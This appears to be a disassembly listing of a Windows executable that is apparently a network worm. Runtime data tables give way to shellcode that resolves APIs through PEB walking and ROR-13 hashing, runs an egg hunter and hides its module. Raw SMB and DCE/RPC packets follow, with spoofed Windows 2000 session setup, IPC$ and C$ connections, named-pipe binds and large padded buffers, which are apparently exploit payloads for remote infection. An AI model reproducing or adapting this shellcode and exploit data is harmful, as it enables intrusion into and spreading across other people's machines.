dword_433894	dd 0Ah			; DATA XREF: sub_4217A5+14r
					; sub_427263r
		dd 2 dup(1)
dword_4338A0	dd 2			; DATA XREF: sub_4224BB:loc_4224E1r
					; sub_4224BB+3Ar
off_4338A4	dd offset aR6002FloatingP ; DATA XREF: sub_4224BB+D5r
					; sub_4224BB+112r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 42A344h, 9, 42A318h, 0Ah,	42A280h, 10h, 42A254h
		dd 11h,	42A224h, 12h, 42A200h, 13h, 42A1D4h, 18h, 42A19Ch
		dd 19h,	42A174h, 1Ah, 42A13Ch, 1Bh, 42A104h, 1Ch, 42A0DCh
		dd 1Dh,	42A038h, 78h, 42A024h, 79h, 42A014h, 7Ah, 42A004h
		dd 0FCh, 42FF68h, 0FFh,	429FF4h
dword_433938	dd 0FFFFFFFFh, 0A80h, 7	dup(0) ; DATA XREF: sub_41F714:loc_41F7D4o
					; sub_421EDB:loc_421F61o
		dd offset sub_4238CC
off_433960	dd offset sub_423818	; DATA XREF: sub_42384D+Cr
		align 10h
off_433970	dd offset sub_423CE8	; DATA XREF: sub_41E4F8+5w
					; sub_41F8BB+476r
off_433974	dd offset sub_423976	; DATA XREF: sub_41E4F8+Aw
					; sub_41F8BB+4A2r
off_433978	dd offset sub_4239DB	; DATA XREF: sub_41E4F8+14w
off_43397C	dd offset sub_42393A	; DATA XREF: sub_41E4F8+1Ew
					; sub_41F8BB+491r
off_433980	dd offset sub_4239C1	; DATA XREF: sub_41E4F8+28w
off_433984	dd offset sub_423CE8	; DATA XREF: sub_41E4F8+32w
		align 10h
		dd offset off_433998
		align 8
off_433998	dd offset aSun		; DATA XREF: .text:0043343Co
					; .text:00433990o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset aDecember	; "December"
		dd offset aAm		; "AM"
		dd offset aPm		; "PM"
		dd offset aMmDdYy	; "MM/dd/yy"
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset dword_42A6E4
		dd 409h, 2 dup(1)
dword_433A50	dd 2Eh			; DATA XREF: .text:off_433A54o
off_433A54	dd offset dword_433A50	; DATA XREF: sub_4245FF+15r
					; .text:00433428o ...
off_433A58	dd offset dword_43584C	; DATA XREF: sub_4245FF+32r
off_433A5C	dd offset dword_43584C	; DATA XREF: sub_4245FF+4Er
off_433A60	dd offset dword_43584C	; DATA XREF: sub_42465E+1Br
off_433A64	dd offset dword_43584C	; DATA XREF: sub_42465E+38r
off_433A68	dd offset dword_43584C	; DATA XREF: sub_42465E+55r
off_433A6C	dd offset dword_43584C	; DATA XREF: sub_42465E+72r
off_433A70	dd offset dword_43584C	; DATA XREF: sub_42465E+8Fr
off_433A74	dd offset dword_43584C	; DATA XREF: sub_42465E+ACr
off_433A78	dd offset dword_43584C	; DATA XREF: sub_42465E+C8r
		dd 2 dup(7F7F7F7Fh)
off_433A84	dd offset off_433A54	; DATA XREF: sub_4245FF+Br
					; sub_4245FF+27r ...
		align 10h
		dd 1, 3	dup(0)
		dd 1
byte_433AA4	db 2Eh			; DATA XREF: sub_42393A+24r
					; sub_423976+5r ...
		align 4
		dd 1, 0
byte_433AB0	db 1			; DATA XREF: sub_424A23+C5r
		db 2, 4, 8
		align 8
dword_433AB8	dd 3A4h			; DATA XREF: sub_424A23:loc_424A45r
dword_433ABC	dd 82798260h		; DATA XREF: sub_424A23+101r
		dd 21h,	0
dword_433AC8	dd 0DFA6h		; DATA XREF: sub_424A23+A5r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_433BA8	dd 2694h		; DATA XREF: sub_4252E0+3r
					; sub_425333+5Dr
		align 10h
dword_433BB0	dd 14h			; DATA XREF: sub_425242:loc_42524Ar
off_433BB4	dd offset aExp		; DATA XREF: sub_425242:loc_4252BAr
					; "exp"
		dd 1Dh,	429EF8h, 1Ah, 429EFCh, 1Bh, 429F00h, 1Fh, 42A888h
		dd 13h,	42A880h, 21h, 42A878h, 0Eh, 42A870h, 0Dh, 42A868h
		dd 0Fh,	429EC0h, 10h, 42A860h, 5, 42A858h, 1Eh,	42A854h
		dd 12h,	42A850h, 20h, 42A84Ch, 0Ch, 429EC8h, 0Bh, 429ED0h
		dd 15h,	42A844h, 1Ch, 429ED8h, 19h, 42A83Ch, 11h, 42A834h
		dd 18h,	42A82Ch, 16h, 42A824h, 17h, 42A81Ch, 22h, 42A818h
		dd 23h,	42A814h, 24h, 42A810h, 25h, 42A808h, 26h, 42A7FCh
dbl_433C98	dq 1.797693134862316e308 ; DATA	XREF: sub_424FC9+BCr
					; sub_424FC9:loc_4250B7r ...
		dd 0
		dd 0FFF80000h
dbl_433CA8	dq 1.797693134862316e308 ; DATA	XREF: sub_424FC9+93r
					; sub_424FC9:loc_42508Dr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_433CC0	dt 2.3562723457267347066e313 ; DATA XREF: sub_425578+Br
					; sub_425578+1Er
		align 4
tbyte_433CCC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_425578+30r
		align 4
dword_433CD8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_426086o
dword_433CF0	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh, 7080h, 1,	0FFFFF1F0h
					; DATA XREF: sub_42609Co
		dd 0
dword_433D18	dd 545350h, 0Fh	dup(0)	; DATA XREF: .text:00433D98o
dword_433D58	dd 544450h, 0Fh	dup(0)	; DATA XREF: .text:00433D9Co
		dd offset dword_433D18
		dd offset dword_433D58
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 4 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch, 2 dup(0)
dword_433E30	dd 2 dup(0)		; DATA XREF: sub_427171+Co
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_433F90	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_427171+23o
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_4340EC	dd offset off_429530	; DATA XREF: .text:off_430DC4o
					; .text:00430F28o ...
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_434104	dd offset off_429530	; DATA XREF: .text:off_430DDCo
					; .text:00430E1Co ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_434124	dd offset off_429530	; DATA XREF: .text:off_430E24o
					; .text:00430E68o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_434144	dd offset sub_4010FE	; DATA XREF: sub_4010FE+3Do
					; sub_4010FE+48r ...
		dd 0FFFFFFFFh, 0
dword_434150	dd 0EC6785B2h, 8B157490h, 2686994Ah, 2AD253FFh,	8B76126Bh
					; DATA XREF: sub_40B8D4+92o
		dd 7217C989h, 90760DF4h, 5A177865h, 7B6B96F6h, 2C1344CBh
		dd 7F91CCA5h, 390DF5FEh, 17357352h, 0FFC7840Bh,	0DEC314BBh
		dd 5065FF54h, 1577B552h, 23A094A4h, 676CF705h, 7B6A196Fh
		dd 3891C854h, 2CF58CBBh, 0F5E40D27h, 86C6BF4Fh,	570E2C6Fh
		dd 9B2E63E5h, 0A1DD278Eh, 0B71B3A9Ch, 2B56791Bh, 74352FE3h
		dd 0A68DDCFCh, 0E4B2B58Ch, 5A9D738Eh, 0A6BFAC13h, 9A44F77h
		dd 6E21CB1Ah, 1933AEB3h, 8AA5F3A8h, 0A4DFE9E2h,	8D26CE4h
		dd 9E1BF735h, 286F539Dh, 3633410Dh, 4D6CD326h, 4E4DD9E5h
		dd 0A3901221h, 500DFF2h, 0D1DCFBF7h, 39761841h,	0DE7315A4h
		dd 34E84B82h, 0BB5DEDBAh, 6B223072h, 7EAECBDBh,	65113139h
		dd 3428D51Dh, 0CCA79385h, 1FE13745h, 956FD09Ah,	0EE7FB7B1h
		dd 8A2E194Dh, 3F0A274Ch, 0D4837080h, 0F7E81370h, 9D0FDE35h
		dd 0A33BD72Ch, 958B0BA0h, 0E635EA6Ch, 4F1B8BCBh, 0BA69A399h
		dd 21DDB090h, 0CD45C746h, 765509EEh, 0B4FC3E80h, 9484F1E2h
		dd 745B2BAFh, 52C1423Bh, 53F3DA6Fh, 0B47D7B7h, 0A128AF81h
		dd 68FAE6DFh, 0AE1DC8FEh, 9DE47FE3h, 0A5F9370Ch, 65F0FE7Bh
		dd 18123547h, 827B5A4Eh, 2EEF5FB2h, 2EFC68E1h, 1298E15Fh
		dd 0EEE30F13h, 0DB901566h, 9778EECFh, 386C34BFh, 0C3B6976Eh
		dd 0C101580h, 0DEF5CCB5h, 8D909F0Ch, 96456F4Ah,	0C6A886B9h
		dd 5EEA4BA1h, 0D7CB12ADh, 8E26273h, 83D5648Dh, 3E243F19h
		dd 31D11E02h, 12CF1684h, 8848E86Bh, 3A2B04EFh, 6DE429EEh
		dd 17A398E7h, 7949F29Ch, 9D86FA53h, 47FE1813h, 69D8C626h
		dd 94CD562Ah, 49A661DAh, 0D692D3FCh, 0B3743DE2h, 0D07E4113h
		dd 0BCC9423Dh, 91434DC3h, 88347CFBh, 0E18ADDA7h, 5C1FAA94h
		dd 789BC049h, 8C2E3D5Eh, 0F75CC427h

; =============== S U B	R O U T	I N E =======================================



sub_434350	proc near		; DATA XREF: sub_405664+4Do
					; sub_4056EB+4Do
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43444C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_434462
		mov	[esi+8], eax
		call	sub_434415
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_434462
		mov	[esi+0Ch], eax
		call	sub_4343C7
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_434462
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_434350	endp


; =============== S U B	R O U T	I N E =======================================



sub_4343C7	proc near		; CODE XREF: sub_434350+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4343F0
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4343C7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4343F0	proc near		; CODE XREF: sub_4343C7+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_4343FF:				; CODE XREF: sub_4343F0+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43440C
		inc	ebx
		jmp	short loc_4343FF
; ---------------------------------------------------------------------------

loc_43440C:				; CODE XREF: sub_4343F0+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4343F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_434415	proc near		; CODE XREF: sub_434350+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_43442D:				; CODE XREF: sub_434415+1Ej
		cmp	[ecx], ebx
		jz	short loc_434435
		mov	ecx, [ecx]
		jmp	short loc_43442D
; ---------------------------------------------------------------------------

loc_434435:				; CODE XREF: sub_434415+1Aj
		mov	edx, edi

loc_434437:				; CODE XREF: sub_434415+2Aj
		cmp	[edx+4], ebx
		jz	short loc_434441
		mov	edx, [edx+4]
		jmp	short loc_434437
; ---------------------------------------------------------------------------

loc_434441:				; CODE XREF: sub_434415+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_434415	endp


; =============== S U B	R O U T	I N E =======================================



sub_43444C	proc near		; CODE XREF: sub_434350+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43444C	endp


; =============== S U B	R O U T	I N E =======================================



sub_434462	proc near		; CODE XREF: sub_434350+16p
					; sub_434350+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_434478:				; CODE XREF: sub_434462+33j
		jecxz	short loc_4344B2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_434485:				; CODE XREF: sub_434462+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_434491
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_434485
; ---------------------------------------------------------------------------

loc_434491:				; CODE XREF: sub_434462+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_434478
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_4344B2:				; CODE XREF: sub_434462:loc_434478j
					; sub_434462:loc_4344B2j
		jmp	short loc_4344B2
sub_434462	endp

; ---------------------------------------------------------------------------
		align 8
dword_4344B8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_405771+10Fo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_434548	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_405771+142o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 2 dup(0)
dword_4345F8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_405771+167o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4346D8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_405771+84o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_405771+B3o
		unicode	0, <C$>,0
a?????		db '?????',0
		align 10h
dword_434740	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_405771+2F8o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_4347B0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_405771+321o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_434858	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_405771+357o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4348D8	dd offset loc_401492+3	; DATA XREF: sub_405771+381o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_434970	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_405771+457o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_4349E0	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_405771+482o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_434A58	dd 0			; DATA XREF: sub_405771+4B0o
		dd offset loc_40A896+4
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A896+4
		dd 1, 0
		dd 1, 0
		dd offset loc_40A896+4
		dd 1, 0
		dd 1, 0
		dd offset loc_40A896+4
		dd 1, 0
		dd 1, 2	dup(0)
off_434AE0	dd offset word_42FE36	; DATA XREF: .text:00408C70r
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset dword_4304C8
		dd offset dword_4304C8
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset asc_42FF68	; "\r\n"
		dd offset asc_42FF68	; "\r\n"
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset asc_42FFF4	; " "
		dd offset asc_42FFF4	; " "
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset dword_42FE10
		dd offset dword_4304C0+4
		dd offset dword_4304C0
		dd offset asc_43036C	; "!"
		dd offset dword_4304BC
		dd offset a@		; "@"
		dd offset dword_4304B8
		dd offset dword_42FE30
		dd offset dword_4304A8+0Ch
		dd offset dword_4304A8+8
		dd offset dword_4304A8+4
		dd offset dword_4304A8
		dd offset dword_4304A0+4
		dd offset dword_4304A0
		dd offset dword_430498+4
		dd offset dword_430498
		dd offset dword_430490+4
		dd offset dword_430490
		dd offset dword_430468+24h
		dd offset dword_430468+20h
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset aA		; "a"
		dd offset aA_0		; "A"
		dd offset dword_430468+1Ch
		dd offset aB		; "B"
		dd offset dword_430468+18h
		dd offset dword_430468+14h
		dd offset dword_430468+10h
		dd offset aD_0		; "D"
		dd offset dword_430468+0Ch
		dd offset dword_430468+8
		dd offset dword_430468+4
		dd offset dword_430468
		dd offset dword_430440+24h
		dd offset dword_430440+20h
		dd offset dword_430440+1Ch
		dd offset dword_430440+18h
		dd offset aI		; "i"
		dd offset aI_0		; "I"
		dd offset dword_430440+14h
		dd offset dword_430440+10h
		dd offset dword_430440+0Ch
		dd offset dword_430440+8
		dd offset dword_430440+4
		dd offset dword_430440
		dd offset dword_430424+18h
		dd offset aM		; "M"
		dd offset dword_430424+14h
		dd offset dword_430424+10h
		dd offset dword_430424+0Ch
		dd offset dword_430424+8
		dd offset dword_430424+4
		dd offset dword_430424
		dd offset dword_4303D4+4Ch
		dd offset dword_4303D4+48h
		dd offset dword_4303D4+44h
		dd offset dword_4303D4+40h
		dd offset dword_4303D4+3Ch
		dd offset aS_0		; "S"
		dd offset dword_4303D4+38h
		dd offset dword_4303D4+34h
		dd offset dword_4303D4+30h
		dd offset dword_4303D4+2Ch
		dd offset dword_4303D4+28h
		dd offset dword_4303D4+24h
		dd offset dword_4303D4+20h
		dd offset dword_4303D4+1Ch
		dd offset dword_4303D4+18h
		dd offset dword_4303D4+14h
		dd offset dword_4303D4+10h
		dd offset dword_4303D4+0Ch
		dd offset dword_4303D4+8
		dd offset dword_4303D4+4
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset dword_42FE10
		dd offset dword_42FE10
		dd offset dword_4304C0
		dd offset dword_4304C0
